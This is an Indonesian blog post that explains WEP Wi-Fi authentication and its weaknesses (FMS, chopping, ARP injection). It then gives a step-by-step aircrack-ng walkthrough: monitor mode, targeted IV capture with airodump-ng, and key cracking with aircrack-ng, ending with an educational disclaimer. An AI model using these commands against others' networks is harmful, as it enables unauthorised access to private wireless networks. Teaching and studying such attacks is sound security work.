Pengertian

Hotspot adalah tempat-tempat tertentu (biasanya tempat umum) yang memiliki layanan internet dengan menggunakan teknologi Wireless LAN, seperti pada perguruan tinggi, mall, plaza, perpustakaan, restoran ataupun bandara. Layanan internet seperti ini, ada yang berbayar dan sangat banyak yang menyediakan secara gratis.

Di bidang kriptografi, enkripsi ialah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus. Dikarenakan enkripsi telah digunakan untuk mengamankan komunikasi di berbagai negara, hanya organisasi-organisasi tertentu dan individu yang memiliki kepentingan yang sangat mendesak akan kerahasiaan yang menggunakan enkripsi. Di pertengahan tahun 1970-an, enkripsi kuat dimanfaatkan untuk pengamanan oleh sekretariat agen pemerintah Amerika Serikat pada domain publik, dan saat ini enkripsi telah digunakan pada sistem secara luas, seperti Internet e-commerce, jaringan Telepon bergerak dan ATM pada bank.

Enkripsi dapat digunakan untuk tujuan keamanan, tetapi teknik lain masih diperlukan untuk membuat komunikasi yang aman, terutama untuk memastikan integritas dan autentikasi dari sebuah pesan. Contohnya, Message Authentication Code (MAC) atau digital signature. Penggunaan yang lain yaitu untuk melindungi dari analisis jaringan komputer.

WEP (Wired Equivalent Privacy) adalah suatu metoda pengamanan jaringan nirkabel, disebut juga dengan Shared Key Authentication. Shared Key Authentication adalah metoda otentikasi yang membutuhkan penggunaan WEP. Enkripsi WEP menggunakan kunci yang dimasukkan (oleh administrator) ke client maupun access point. Kunci ini harus cocok dari yang diberikan akses point ke client, dengan yang dimasukkan client untuk autentikasi menuju access point.

Proses Shared Key Authentication:

1. client meminta asosiasi ke access point, langkah ini sama seperti Open System Authentication.
2. access point mengirimkan text challenge ke client secara transparan.
3. client akan memberikan respon dengan mengenkripsi text challenge dengan menggunakan kunci WEP dan mengirimkan kembali ke access point.
4. access point memberi respon atas tanggapan client, akses point akan melakukan decrypt terhadap respon enkripsi dari client untuk melakukan verifikasi bahwa text challenge dienkripsi dengan menggunakan WEP key yang sesuai. Pada proses ini, access point akan menentukan apakah client sudah memberikan kunci WEP yang sesuai. Apabila kunci WEP yang diberikan oleh client sudah benar, maka access point akan merespon positif dan langsung meng-authentikasi client. Namun bila kunci WEP yang dimasukkan client salah, access point akan merespon negatif dan client tidak akan diberi authentikasi. Dengan demikian, client tidak akan terauthentikasi dan tidak terasosiasi.

Kelemahan WEP

WEP memiliki berbagai kelemahan antara lain :
1. Masalah kunci yang lemah, algoritma RC4 yang digunakan dapat dipecahkan.
2. WEP menggunakan kunci yang bersifat statis
3. Masalah initialization vector (IV) WEP
4. Masalah integritas pesan Cyclic Redundancy Check (CRC-32)

WEP terdiri dari dua tingkatan, yakni kunci 64 bit, dan 128 bit. Sebenarnya kunci rahasia pada kunci WEP 64 bit hanya 40 bit, sedang 24bit merupakan Inisialisasi Vektor (IV). Demikian juga pada kunci WEP 128 bit, kunci rahasia terdiri dari 104bit.

Serangan-serangan pada kelemahan WEP antara lain :
1. Serangan terhadap kelemahan inisialisasi vektor (IV), sering disebut FMS attack. FMS singkatan dari nama ketiga penemu kelemahan IV yakni Fluhrer, Mantin, dan Shamir. Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya. Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan
2. Mendapatkan IV yang unik melalui packet data yang diperoleh untuk diolah untuk proses cracking kunci WEP dengan lebih cepat. Cara ini disebut chopping attack, pertama kali ditemukan oleh h1kari. Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi kebutuhan IV yang lemah dalam melakukan cracking WEP.
3. Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat waktu, para hacker biasanya melakukan traffic injection. Traffic Injection yang sering dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat. Berbeda dengan serangan pertama dan kedua, untuk serangan traffic injection,diperlukan spesifikasi alat dan aplikasi tertentu yang mulai jarang ditemui di toko-toko, mulai dari chipset, versi firmware, dan versi driver serta tidak jarang harus melakukan patching terhadap driver dan aplikasinya.

Capek Basa-basi langsung ke praktek yuk,,,

Capek basa-basi ni' daftar perintahnya

Terlebih dahulu kita install dulu programnya, yang bisa kita dapatkan di http://www.aircrack-ng.org dengan cara :

apt-get install aircrack-ng

Kita perlu mencatat tiga (3) hal, yaitu, (1) BSSID / MAC Addresss AP, (2) MAC address WLAN kita, dan (3) Channel yang digunakan AP.


Misalnya,

BSSID    00:30:4F:4E:2B:50
WIFI 00:11:6b:33:d3:90
CHANNEL 2


Untuk memudahkan operasi ada baiknya melakukan di shell

export AP=00:30:4F:4E:2B:50
export WIFI=00:11:6b:33:d3:90
export CHANNEL=1

Setup supaya interface WiFi masuk ke mode monitoring menggunakan perintah

airmon-ng start wlan0 1

Biasanya akan tampil kira-kira sebagai berikut

Interface    Chipset        Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon0)

Perhatikan baik-baik bahwa interface wlan0 yang berubah menjadi mode monitor adalah mon0. Kita harus menggunakan interface mon0 untuk melakukan monitor.

Jalankan airodump di WLAN mon0

airodump-ng --ivs -w hasilcapture --bssid $AP --channel $CHANNEL mon0

Versi backtrack 4.0 pre-final ternyata harus menggunakan perintah

airodump-ng --output-format ivs -w hasilcapture --bssid $AP --channel $CHANNEL mon0

Pastikan menggunakan switch --bssid ini akan mempercepat proses cracking :) ..


Dalam contoh paket hasil monitoring akan di simpan di file hasilcapture. Agar memudahkan proses cracking WEP pastikan kita dapat menangkap lebih dari 5000 paket.

Jalankan aircrack untuk mengcrack WEP

# aircrack-ng -a 1 -e essidapyangakandicrack -n 64 hasilcapture-01.ivs 

misalnya

# aircrack-ng -a 1 -e linksys -n 64 hasilcapture-01.ivs 
# aircrack-ng -a 1 -e $AP -n 64 hasilcapture-01.ivs

Bisa juga menggunakan perintah

# aircrack-ng -a 1 -n 64 hasilcapture-01.ivs 

Switch -a 1 digunakan untuk menset aircrack-ng agar meng-crack WEP

Peringatan !!!

Tulisan ini dibuat bukan untuk tujuan merusak atau merugikan pihak lain tetapi mejadi pembelajaran bagi kita semua bahwa "Keamanan itu PENTING !!

Sumber :
Wikipedia
Wiki Telkomspeedy
Aircrack-ng

Pengunjung



Countries

71.9%Indonesia Indonesia
24.3%Australia Australia
2.8%United States United States
0.2%Singapore Singapore
0.2%Canada Canada

Visitors

Today: 4
Yesterday: 15
Last Week: 94
This Month: 63
Last Month: 522
Total: 3041